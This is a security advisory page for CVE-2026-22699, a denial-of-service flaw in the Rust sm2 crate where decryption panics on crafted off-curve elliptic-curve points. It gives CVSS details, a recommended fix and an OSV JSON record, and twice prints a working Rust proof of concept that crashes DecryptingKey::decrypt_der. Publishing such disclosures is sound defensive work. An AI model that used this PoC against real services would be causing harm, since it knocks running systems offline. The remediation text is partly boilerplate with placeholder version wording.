CVE-2026-22699: Sm2 SM2-PKE Has Unchecked AffinePoint Decoding Vulnerability

HIGH
Advisory Identifier: GHSA-78p6-6878-8mj6
CVSS 7.5
CWE-20
Published
Advisory Summary

CVE-2026-22699 is a HIGH (CVSS 7.5) sm2-pke has unchecked affinepoint decoding vulnerability (CWE-20: Improper Input Validation) affecting Sm2 libraries in the crates.io ecosystem. The issue involves sm2-pke has unchecked affinepoint decoding (unwrap) in decrypt(). Remediation is available in the latest vendor maintenance releases.

CVE-2026-22699 at a Glance

CVE Identifier CVE-2026-22699
GHSA Identifier GHSA-78p6-6878-8mj6
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-20: Improper Input Validation
Affected Product Sm2
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-22699

To remediate this vulnerability, upgrade all affected Sm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

sm2 fixed: Latest secure release
Upgrade sm2 to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for sm2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-22699, inspect your project dependencies for Sm2:

inspect dependencies for sm2

Analyze the terminal output to locate any version of Sm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Sm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, `AffinePoint::from_encoded_point(&encoded_c1)` may return a `None`/`CtOption::None` when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used `.unwrap()`, causing a panic when presented with such input. ### Affected Component / Versions - File: `src/pke/decrypting.rs` - Function: internal `decrypt()` (invoked by `DecryptingKey::decrypt*` methods) - Affected releases: - sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0) - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0) ### Details The library decodes the C1 field (an EC point) as an `EncodedPoint` and then converts it to an `AffinePoint` using `AffinePoint::from_encoded_point(&encoded_c1)`. That conversion returns a `CtOption<AffinePoint>` (or an `Option` equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called `.unwrap()` on that result, causing a panic when `None` was returned. Because `EncodedPoint::from_bytes()` only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft `C1 = 0x04 || X || Y` with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger `from_encoded_point()` failure and therefore panic on `.unwrap()`. ### Proof of Concept (PoC) `examples/poc_der_invalid_point.rs` constructs an ASN.1 DER `Cipher` structure with `x` and `y` set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to `DecryptingKey::decrypt_der`. With the vulnerable code, this produces a panic originating at the `unwrap()` call in `decrypt()`. Other APIs such as `DecryptingKey::decrypt` also produce a panic with invalid C1 point. ``` rust //! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER //! where x/y are valid-length integers but do not lie on the curve. //! //! Usage: //! RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point use rand_core::OsRng; use sm2::SecretKey; use sm2::pke::DecryptingKey; fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> { // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher } let mut body = Vec::new(); // INTEGER x body.push(0x02); body.push(x.len() as u8); body.extend_from_slice(x); // INTEGER y body.push(0x02); body.push(y.len() as u8); body.extend_from_slice(y); // OCTET STRING digest body.push(0x04); body.push(digest.len() as u8); body.extend_from_slice(digest); // OCTET STRING cipher body.push(0x04); body.push(cipher.len() as u8); body.extend_from_slice(cipher); // SEQUENCE header let mut der = Vec::new(); der.push(0x30); der.push(body.len() as u8); der.extend(body); der } fn main() { let mut rng = OsRng; let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key"); let dk = DecryptingKey::new(sk); // x/y are 32-byte values that almost certainly are NOT on the curve let x = [0x11u8; 32]; let y = [0x22u8; 32]; let digest = [0x33u8; 32]; let cipher = [0x44u8; 16]; let der = build_der(&x, &y, &digest, &cipher); println!("Calling decrypt_der with DER (len={})...", der.len()); // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap()) let _ = dk.decrypt_der(&der); println!("decrypt_der returned (unexpected) - PoC did not panic"); } ``` Run locally: ```bash RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std ``` The process will panic with a backtrace pointing to `src/pke/decrypting.rs` at the `from_encoded_point(...).unwrap()` call. ### Impact - Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process. - Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial. - Wide exposure: any service that accepts ciphertext and links this library is vulnerable. ### Recommended Fix Do not call `.unwrap()` on the result of `AffinePoint::from_encoded_point()`. Instead, convert the `CtOption` to an `Option` (or inspect it) and return a library `Err` for invalid points. Example minimal fix: ```rust // Return an error instead of panicking when the provided point is not on the curve. let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() { Some(p) => p, None => return Err(Error), }; ``` This ensures `decrypt()` returns a controlled error for invalid or malformed points instead of panicking. ### **Credit** This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine CVE and credit are preferred. If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com. ### **Note** This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

CVE-2026-22699 Affected Sm2 Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
sm2
crates.io
≥ 0.14.0-pre.0
≤ 0.14.0-rc.4

References

Frequently Asked Questions

What is CVE-2026-22699?
CVE-2026-22699 is a security vulnerability in Sm2 involving SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt() under CWE-20: Improper Input Validation.
Which Sm2 versions are affected?
Affected versions include releases prior to current release patches across affected packages: sm2.
What version fixes CVE-2026-22699?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is sm2 affected?
Yes, sm2 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-22699?
CVE-2026-22699 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-22699?
CVE-2026-22699 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check crates.io dependencies for CVE-2026-22699?
Run the dependency tree command: 'inspect dependencies for sm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-78p6-6878-8mj6",
  "modified" : "2026-01-11T14:56:39Z",
  "published" : "2026-01-09T22:35:35Z",
  "aliases" : [ "CVE-2026-22699" ],
  "summary" : "SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt()",
  "details" : "### Summary\n\nA denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, `AffinePoint::from_encoded_point(&encoded_c1)` may return a `None`/`CtOption::None` when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used `.unwrap()`, causing a panic when presented with such input.\n\n\n\n\n### Affected Component / Versions\n\n- File: `src/pke/decrypting.rs`\n\n- Function: internal `decrypt()` (invoked by `DecryptingKey::decrypt*` methods)\n\n- Affected releases: \n\n  - sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)\n  - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)\n\n  \n\n\n### Details\n\nThe library decodes the C1 field (an EC point) as an `EncodedPoint` and then converts it to an `AffinePoint` using `AffinePoint::from_encoded_point(&encoded_c1)`. That conversion returns a `CtOption<AffinePoint>` (or an `Option` equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called `.unwrap()` on that result, causing a panic when\n`None` was returned. Because `EncodedPoint::from_bytes()` only validates format (length and SEC1\nencoding) and not mathematical validity, an attacker can craft `C1 = 0x04 || X || Y` with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger `from_encoded_point()` failure and therefore panic on `.unwrap()`.\n\n\n\n\n### Proof of Concept (PoC)\n\n`examples/poc_der_invalid_point.rs` constructs an ASN.1 DER `Cipher` structure\nwith `x` and `y` set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22),\nand passes it to `DecryptingKey::decrypt_der`. With the vulnerable code, this\nproduces a panic originating at the `unwrap()` call in `decrypt()`. Other APIs such as `DecryptingKey::decrypt` also produce a panic with invalid C1 point.\n\n``` rust\n//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER\n//! where x/y are valid-length integers but do not lie on the curve.\n//!\n//! Usage:\n//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point\n\nuse rand_core::OsRng;\nuse sm2::SecretKey;\nuse sm2::pke::DecryptingKey;\n\nfn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {\n    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }\n    let mut body = Vec::new();\n\n    // INTEGER x\n    body.push(0x02);\n    body.push(x.len() as u8);\n    body.extend_from_slice(x);\n\n    // INTEGER y\n    body.push(0x02);\n    body.push(y.len() as u8);\n    body.extend_from_slice(y);\n\n    // OCTET STRING digest\n    body.push(0x04);\n    body.push(digest.len() as u8);\n    body.extend_from_slice(digest);\n\n    // OCTET STRING cipher\n    body.push(0x04);\n    body.push(cipher.len() as u8);\n    body.extend_from_slice(cipher);\n\n    // SEQUENCE header\n    let mut der = Vec::new();\n    der.push(0x30);\n    der.push(body.len() as u8);\n    der.extend(body);\n    der\n}\n\nfn main() {\n    let mut rng = OsRng;\n    let sk = SecretKey::try_from_rng(&mut rng).expect(\"failed to generate secret key\");\n    let dk = DecryptingKey::new(sk);\n\n    // x/y are 32-byte values that almost certainly are NOT on the curve\n    let x = [0x11u8; 32];\n    let y = [0x22u8; 32];\n    let digest = [0x33u8; 32];\n    let cipher = [0x44u8; 16];\n\n    let der = build_der(&x, &y, &digest, &cipher);\n\n    println!(\"Calling decrypt_der with DER (len={})...\", der.len());\n\n    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())\n    let _ = dk.decrypt_der(&der);\n\n    println!(\"decrypt_der returned (unexpected) - PoC did not panic\");\n}\n\n```\n\nRun locally:\n\n```bash\nRUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std\n```\n\nThe process will panic with a backtrace pointing to `src/pke/decrypting.rs` at the `from_encoded_point(...).unwrap()` call.\n\n\n\n\n### Impact\n\n- Denial of Service: an attacker who can submit ciphertext (or DER ciphertext)\n  can crash the decrypting thread/process.\n- Low attacker effort: crafting random 32-byte X/Y values that are not on the\n  curve is trivial.\n- Wide exposure: any service that accepts ciphertext and links this library is\n  vulnerable.\n\n\n### Recommended Fix\n\nDo not call `.unwrap()` on the result of `AffinePoint::from_encoded_point()`.\nInstead, convert the `CtOption` to an `Option` (or inspect it) and return a\nlibrary `Err` for invalid points. Example minimal fix:\n\n```rust\n    // Return an error instead of panicking when the provided point is not on the curve.\n    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {\n        Some(p) => p,\n        None => return Err(Error),\n    };\n```\n\nThis ensures `decrypt()` returns a controlled error for invalid or malformed points instead of panicking.\n\n\n\n### **Credit**\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.\n\n \n\n### **Note**\n\nThis organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "sm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.14.0-pre.0"
      }, {
        "last_affected" : "0.14.0-rc.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-78p6-6878-8mj6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22699"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/RustCrypto/elliptic-curves/pull/1602"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/RustCrypto/elliptic-curves/commit/085b7bee647029bd189e1375203418205006bcab"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/RustCrypto/elliptic-curves"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-09T22:35:35Z",
    "nvd_published_at" : "2026-01-10T06:15:52Z"
  }
}